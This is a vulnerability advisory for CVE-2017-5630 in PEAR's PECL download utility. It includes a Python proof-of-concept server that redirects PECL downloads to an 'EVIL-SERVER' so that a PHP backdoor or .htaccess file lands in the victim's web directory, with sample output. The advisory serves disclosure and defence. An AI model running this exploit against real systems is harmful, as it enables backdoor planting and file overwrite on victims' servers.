[+]#############################################################################################
[+] Credits / Discovery: John Page AKA hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/PEAR-ARBITRARY-FILE-DOWNLOAD.txt
[+] ISR: ApparitionSEC
[+]#############################################################################################



Vendor:
============
pear.php.net



Product:
===================================
PEAR Base System v1.10.1
PEAR Installer's download utility



Vulnerability Type:
=======================
Arbitrary File Download



CVE Reference:
==============
CVE-2017-5630



Security Issue:
================

The download utility class in the Installer in PEAR Base System v1.10.1, does not validate file types and filenames after a redirect,
which allows remote HTTP servers to overwrite files via crafted responses, as demonstrated by a .htaccess overwrite.

e.g.

pecl download <http://some-vuln-server/file.tgz> 

PEAR does not rename the arbitrary invalid file to the originally requested (safe) filename.
Therefore, attackers can overwrite files or download a backdoor if the PECL request is made from from web accesible directory etc..

Moreover, PECL doesn't delete these invalid files upon download, giving the attacker time to exploit it if attackers
can force the HTTP connection to stay open, and before a "invalid file message" is noticed.

POC Video:
https://vimeo.com/201341280


Proof of concept:
This POC involves 3 machines:
First machine is victim making a PECL download command request
Second is the vuln server receiving the file download request
Third is the malicious server hosting the PHP backdoor, .htaccess file etc.
===========================================================================

1) Victim machine attempts to download a legit ".tgz" archive.

pecl download http://VULN-SERVER:8080/Test.tgz


2) VULN-SERVER where the victim is requesting "Test.tgz", and attacker controls HTTP response.


3) EVIL-SERVER where PECL follows and downloads 'unintended' Evil.php backdoor.
python -m SimpleHTTPServer 8888


On VULN-SERVER run "PECL-File-Exploit.py"

python PECL-File-Exploit.py 


import socket

HOST='localhost'
PORT=8080
TARGET='http://EVIL-SERVER:8888/'
FILE='.htaccess'
s = socket.socket()
s.bind((HOST, PORT))
s.listen(10)

print 'Waiting for PECL connections...'


while True:
    conn, addr = s.accept()
    junk = conn.recv(512) 
    conn.send('HTTP/1.1 302 Found\r\n')
    conn.send('Location: '+TARGET+FILE+'\r\n')
    conn.close()
s.close()



Then, make request for Test.tgz...

C:\xampp\htdocs\webapp>pecl download http://VULN-SERVER:8080/Test.tgz

downloading Evil.php ...
Starting to download Evil.php (4,665 bytes)
.....done: 4,665 bytes
File C:\xampp\htdocs\webapp\Evil.php downloaded



Disclosure Timeline:
=====================================
Vendor Notification: January 11, 2017
Informed "PECL package no longer maintained" : January 23, 2017
Opened Bug #2117 : January 25, 2017
January 29, 2017 : Public Disclosure



Network Access:
================
Remote



Severity:
=========
High



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.